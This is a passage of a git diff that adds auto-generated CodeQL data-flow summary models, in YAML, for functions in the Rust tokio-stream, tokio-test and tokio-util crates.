"::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::lines::LinesStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::mpsc_bounded::ReceiverStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::mpsc_bounded::ReceiverStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::mpsc_bounded::ReceiverStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::mpsc_bounded::ReceiverStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::mpsc_unbounded::UnboundedReceiverStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::mpsc_unbounded::UnboundedReceiverStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::mpsc_unbounded::UnboundedReceiverStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::mpsc_unbounded::UnboundedReceiverStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::read_dir::ReadDirStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::read_dir::ReadDirStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::read_dir::ReadDirStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::read_dir::ReadDirStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::signal_unix::SignalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::signal_unix::SignalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::signal_unix::SignalStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::signal_unix::SignalStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::split::SplitStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::split::SplitStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::split::SplitStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::split::SplitStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::tcp_listener::TcpListenerStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::tcp_listener::TcpListenerStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::tcp_listener::TcpListenerStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::tcp_listener::TcpListenerStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::unix_listener::UnixListenerStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::unix_listener::UnixListenerStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::unix_listener::UnixListenerStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::unix_listener::UnixListenerStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "crate::stream_ext::throttle::throttle", "Argument[0]", "ReturnValue.Field[crate::stream_ext::throttle::Throttle::duration]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "crate::stream_ext::throttle::throttle", "Argument[1]", "ReturnValue.Field[crate::stream_ext::throttle::Throttle::stream]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml new file mode 100644 index 000000000000..cff2c622acff --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml @@ -0,0 +1,24 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::build", "Argument[self].Field[crate::io::Builder::actions].Reference", "ReturnValue.Field[crate::io::Mock::inner].Field[crate::io::Inner::actions]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::build", "Argument[self].Field[crate::io::Builder::name].Reference", "ReturnValue.Field[crate::io::Mock::inner].Field[crate::io::Inner::name]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::read", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::read_error", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::wait", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::write", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::write_error", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::read", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::read_error", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::write", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::write_error", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::build", "Argument[self].Field[crate::stream_mock::StreamMockBuilder::actions]", "ReturnValue.Field[crate::stream_mock::StreamMock::actions]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::next", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::wait", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::deref", "Argument[self].Field[crate::task::Spawn::future]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::deref_mut", "Argument[self].Field[crate::task::Spawn::future]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::enter", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml new file mode 100644 index 000000000000..db6e6afc9445 --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml @@ -0,0 +1,206 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0]", "ReturnValue.Field[crate::Op::Data(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_length", "Argument[self].Field[crate::codec::any_delimiter_codec::AnyDelimiterCodec::max_length]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::codec::any_delimiter_codec::AnyDelimiterCodec::seek_delimiters]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::codec::any_delimiter_codec::AnyDelimiterCodec::sequence_writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_with_max_length", "Argument[2]", "ReturnValue.Field[crate::codec::any_delimiter_codec::AnyDelimiterCodec::max_length]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0]", "ReturnValue.Field[crate::codec::any_delimiter_codec::AnyDelimiterCodecError::Io(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::codec", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::codec_mut", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from_parts", "Argument[0].Field[crate::codec::framed::FramedParts::codec]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from_parts", "Argument[0].Field[crate::codec::framed::FramedParts::io]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_parts", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Field[crate::codec::framed::FramedParts::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_parts", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Field[crate::codec::framed::FramedParts::io]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_codec", "Argument[0].ReturnValue", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_codec", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_codec", "Argument[self].Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[0]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::codec::framed::FramedParts::io]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::codec::framed::FramedParts::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::borrow", "Argument[self].Field[crate::codec::framed_impl::RWFrames::read]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::borrow", "Argument[self].Field[crate::codec::framed_impl::RWFrames::write]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::borrow_mut", "Argument[self].Field[crate::codec::framed_impl::RWFrames::read]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::borrow_mut", "Argument[self].Field[crate::codec::framed_impl::RWFrames::write]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0]", "ReturnValue.Field[crate::codec::framed_impl::ReadFrame::buffer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0]", "ReturnValue.Field[crate::codec::framed_impl::WriteFrame::buffer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::decoder", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::decoder_mut", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_decoder", "Argument[0].ReturnValue", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_decoder", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_decoder", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_decoder", "Argument[self].Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::state]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::state]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[0]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::encoder", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::encoder_mut", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_encoder", "Argument[0].ReturnValue", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_encoder", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_encoder", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::map_encoder", "Argument[self].Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::state]", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::state]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::big_endian", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_adjustment", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::Builder::length_adjustment]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_adjustment", "Argument[0]", "ReturnValue.Field[crate::codec::length_delimited::Builder::length_adjustment]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_adjustment", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_length", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::Builder::length_field_len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_length", "Argument[0]", "ReturnValue.Field[crate::codec::length_delimited::Builder::length_field_len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_length", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_offset", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::Builder::length_field_offset]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_offset", "Argument[0]", "ReturnValue.Field[crate::codec::length_delimited::Builder::length_field_offset]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_offset", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::length_field_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::little_endian", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_frame_length", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::Builder::max_frame_len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_frame_length", "Argument[0]", "ReturnValue.Field[crate::codec::length_delimited::Builder::max_frame_len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_frame_length", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::native_endian", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_codec", "Argument[self].Reference", "ReturnValue.Field[crate::codec::length_delimited::LengthDelimitedCodec::builder]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_framed", "Argument[0]", "ReturnValue.Field[crate::codec::framed::Framed::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_read", "Argument[0]", "ReturnValue.Field[crate::codec::framed_read::FramedRead::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_write", "Argument[0]", "ReturnValue.Field[crate::codec::framed_write::FramedWrite::inner].Field[crate::codec::framed_impl::FramedImpl::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::num_skip", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::Builder::num_skip].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::num_skip", "Argument[0]", "ReturnValue.Field[crate::codec::length_delimited::Builder::num_skip].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::num_skip", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_frame_length", "Argument[self].Field[crate::codec::length_delimited::LengthDelimitedCodec::builder].Field[crate::codec::length_delimited::Builder::max_frame_len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::set_max_frame_length", "Argument[0]", "Argument[self].Field[crate::codec::length_delimited::LengthDelimitedCodec::builder].Field[crate::codec::length_delimited::Builder::max_frame_len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::max_length", "Argument[self].Field[crate::codec::lines_codec::LinesCodec::max_length]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_with_max_length", "Argument[0]", "ReturnValue.Field[crate::codec::lines_codec::LinesCodec::max_length]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0]", "ReturnValue.Field[crate::codec::lines_codec::LinesCodecError::Io(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::compat::Compat::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::compat::Compat::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::compat::Compat::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::handle", "Argument[self].Field[crate::context::TokioContext::handle]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::context::TokioContext::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::context::TokioContext::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::context::TokioContext::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::io::copy_to_bytes::CopyToBytes::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::io::copy_to_bytes::CopyToBytes::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::copy_to_bytes::CopyToBytes::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::copy_to_bytes::CopyToBytes::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::inspect::InspectReader::reader]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::inspect::InspectReader::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::io::inspect::InspectReader::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::inspect::InspectWriter::writer]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::inspect::InspectWriter::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::io::inspect::InspectWriter::f]", 